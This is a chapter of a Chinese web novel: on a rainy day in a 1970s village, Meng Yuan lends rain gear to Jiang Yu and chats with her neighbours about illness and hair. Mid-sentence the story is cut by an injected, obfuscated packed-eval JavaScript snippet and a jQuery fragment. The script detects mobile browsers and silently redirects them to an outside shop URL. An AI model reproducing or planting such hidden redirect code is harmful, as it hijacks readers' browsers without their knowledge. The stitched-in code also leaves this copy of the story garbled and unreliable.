这天早上,孟沅是被轰隆隆的雷声给吵醒的,很快,豆大的雨点就开始噼里啪啦地砸在窗玻璃上,顺着玻璃蜿蜒成一道道曲折的痕迹。
孟沅拿起手表凑近瞧了瞧时间,发现才早上6点,难怪外面的天依旧昏沉沉的。
孟沅估摸着这么大的雨也没法上工了,抬手打了两个哈欠,干脆又缩回炕上重新睡了起来。
等孟沅再度睁开眼时,已经九点多快接近10点了,这一回笼觉睡得她整个人手软无力、昏昏沉沉的。
此时窗外的雨依旧哗啦啦落个不停,整片天空蒙着一层厚重的灰,屋子也被压得晦暗沉沉,不见一丝透亮。
孟沅下桌点上蜡烛,使整个房间亮堂起来,才从衣柜里给自己翻找出一件披肩。
下雨天,温度低,还是要尊重一下气候温差变化滴。
孟沅趿拉着拖鞋去洗漱,只是没等她洗漱好,门外就传来了响动,孟沅匆匆含了两口水吐掉,就跑去开门了。
敲门的果然是江逾,他左手打着伞,右手手上还端着一个搪瓷盆。
他一见孟沅出来就将搪瓷盆塞进了她的怀里,语气略有些急促道:
“沅沅,刚才大队长来找我去大队部值班,我这就要过去了。”
“这是给你做的早饭,你记得趁热吃完啊,冷掉就不好吃了。”
“还有如果中午雨势太大,我就不回来了,你饿了就吃点糕点,我下午再早点回来做饭。”
孟沅看着他湿了大半的裤脚,有些皱眉道:“没有雨衣雨靴?这样走过去,不得全身湿了大半。”
“都在包裹里,没来得及拿回来,谁知道今天就这么不凑巧地下了雨。”江逾有点无奈,就隔了一天,他这运气是有点差了,“没事,反正也冷不到哪里去。”
孟沅不赞同道:“你头上伤势还未好好全,万一淋了雨受寒发烧怎么办?等着,我去给你拿一套。”
孟沅也不知道江逾能不能适应孟新建的鞋码,但想着孟新建和江逾个子差不多高,应该勉强能穿上,大不了挤挤好了。
孟沅回屋将搪瓷盆放到桌子上,便从空间符里的将雨衣雨靴翻找了出来,想着拿着不方便,又将一旁墙上挂着的布包给取了下来,等把雨衣雨靴都放进去了,才拎着出来递给江逾。
孟沅好心叮嘱道:“回去先把湿掉的裤子和鞋子换了,再套上雨衣雨靴,最好再多带件外套。”
江逾笑着伸手接过,临走前还不忘手欠地摸了摸她的头,得到孟沅一个白眼撵人,才闷笑着离开了。
孟沅回屋后吃了早饭,觉得一个人待着有点烦闷,就揣着上次从废品收购站淘来的连环画小人书、瓜子零食和大茶缸子去了隔壁。
开门的是林静,她整个人的状态看起来比昨天要好上不少。
“怎么是你来开门?身体好点了?”孟沅一边进门收伞,一边关切道。
林静露出了个浅淡的笑容:“好多了,今天没有昨天那么疼了,而且倩倩大清早就起来给我冲泡了红糖姜水,我这才能正常下床走动,也要多谢孟沅姐的红糖和热水袋。”
孟沅点头道:“有用就好,按理来说,你应该去县里看看医生,开点药吃吃的。”
林静苦笑道:“以前看过,还是看得我们那有名的老中医,可惜那会年纪小,觉得中药太苦了,刚兑水喝进去,就又全吐了出来。”
“我妈嫌我娇气,狠狠骂了我一顿。那会心里觉得委屈,又怕挨骂,就偷偷背着她吐了,两副药其实根本没喝进去多少。”
“后来两副药喝完,我妈想带我再去调整药方,才得知那老人家被下放了……”
“我妈一直以为我没治好是因为突然中断的原因,每次我痛经发作就搁家骂革委会和红小兵不干人事,专霍霍好人……”
“其实也有一部分我自己吃不得苦的原因,现在想想确实很后悔,为啥当初就忍不下那点苦呢………”
孟沅同情地摸了摸她的脑袋以示安抚,摸完才觉得还挺舒服,软软的,难怪江逾会手贱摸她的头。
孟沅接着话题往下问:“那后来没找过其他医生?”
可能是经历太不美妙了,林静这么文静内向的人也控制不住翻了个白眼。
“找过,那庸医说我缺个男人,找个男人生个孩子就好了。”
“啊?这能忍?你那会才多大?”孟沅惊讶地叫出了声。
“才15岁,刚来月经还没两个月呢,气得我妈扑上去狠狠挠了他一顿。”
“而且那庸医眼神老是滴溜溜转,斜眯着瞧人,还一直在往我手腕内侧摸,我现在想起来还浑身鸡皮疙瘩掉一地,太恶心了。”
孟沅把某汉奸的脸替换上设想了一下,也控制不住抖了下身体。
咦,确实恶心人!!!
孟沅庆幸道:“还好有你妈妈陪着,给你好好出了一口气,不然也太便宜他了。你妈妈很爱你!”
林静嘴角上扬了几分:“是啊,我妈妈确实很爱我,虽然大事小事管的多,还动不动训斥我一顿,可她确实不管遇到啥事,都会挡在我胸前,我就像她翅膀下被保护的小鸡崽,无风无雨,无忧无虑。”
“好了,快别站门口聊了,进来坐着不是更舒服吗?”屋里的姚倩倩大声喊道。
林静当即反应过来,把孟沅往里间带。
里面姚倩倩正在洗头,腰半弯着,手正放在头上不停地揉搓着。
林静一边把人引到炕上坐着一边道:“孟沅姐,你先坐会,我去给倩倩头上冲个水,她头发太长,一个人不太方便。”
孟沅挥了挥手,不在意道:“去吧,去吧,我就来串个门,不用特地招待我。”
姚倩倩和林静两人的屋里空地可比孟沅那屋大多了,整个空间内就只有几件必备的家具,属于一眼就能望到边的那种。
孟沅大致看了一眼就又把目光放到了姚倩倩身上,她好奇问道:“今天这么大的雨,你这头长发洗了不容易干吧,为啥不挑个晴天洗?”
姚倩
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17837533|211507||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
倩那边满头的泡沫都快流嘴里了,也不耽误她接话:“今天有空啊,平日上工累的半死,中午要午睡没时间,晚上洗了,也要好久才能晾干,和阴天下雨洗没什么差别的。”
“静静还不许我晚上湿着头发入睡,唉,我太难了。”
孟沅点头附和道:“确实不能湿着头发入睡,中医有言:‘头为诸阳之会,所有阳经汇聚头部。夜里入睡时,阳气入内休养,体表卫气变弱,毛孔张开,寒湿之邪容易侵入头部经络。’
湿邪一旦入体,容易引起偏头痛、感冒发烧、痛经等各种问题……”
“啊,没那么严重吧,我在家洗了好几次呢,一点事没有……”姚倩倩反驳道。
林静插话道:“那是你还年轻,等你年纪大了,有你好受的,还死犟死犟的……”
姚倩倩被林静怼得不敢吱声了,所谓一物降一物,一动一静的两个人做朋友,文静的那个通常是最有威慑力的,负责镇压和管教好动的那个。
孟沅掏出瓜子,一边磕一边接着唠嗑:“那你头发这么长,每次洗都这么不方便,就没想过剪短点?”
“不不不,不剪不剪,好不容易养了这么长,要是剪掉了,我得心痛死。”
姚倩倩听罢,全然不管脑袋上沾满了水,直接像小狗刚洗过澡甩毛那样甩了起来。满头没冲干净的泡沫裹挟水珠四处迸开,落得林静头上、脸上、衣服上到处都是水渍。
林静摸了一把脸,生生被气笑了,抬手拍了她一下,姚倩倩这才跟按下暂停键似的老实下来。
林静又帮她冲了一遍水,确保泡沫都冲洗干净了,才放她直起腰来,眯着眼睛去摸索毛巾了。
姚倩倩摸到毛巾的第一时间就是先把脸上的水渍擦干,把眼睛睁开,然后才擦着湿发往炕边走来。
林静将暖水瓶拿过来,给孟沅的大茶缸子倒上水,才跟着一块坐了下来。
孟沅将曲奇盒里的瓜子往林静那边推了推,示意她也吃……
林静婉拒了孟沅的好意,倒不是不好意思,而是真的没有胃口,早上的馒头她都没咽下几口,只喝了点稀粥。
姚倩倩盯着孟沅那一头半长不长的短发,好奇道:“孟沅姐,你比较喜欢短发吗?”
孟沅摸了摸已经及肩的短发道:“我吗?我是从小到大身体不好,加之长发不好打理,就一直剪的短发。”
“那孟沅姐你不觉得遗憾?你留长发一定很好看。”
孟沅不懂这有啥遗憾不遗憾的,长发有长发的好,短发也有短发的好啊。
她道:“我又不是以后再也不能留长发了,有什么好遗憾的?短发也挺好的啊。”
她上辈子一直是长发,她们那时候长发可以做许多发型的,光卷发就有十几种呢……
现在留长发?还是算了吧,不论城里还是村里,一眼扫过去,未婚的都是双麻花辫,已婚的都是一股脑盘在脑后,老气横秋的。
还不如短发来得清爽利落,也方便清洗呢。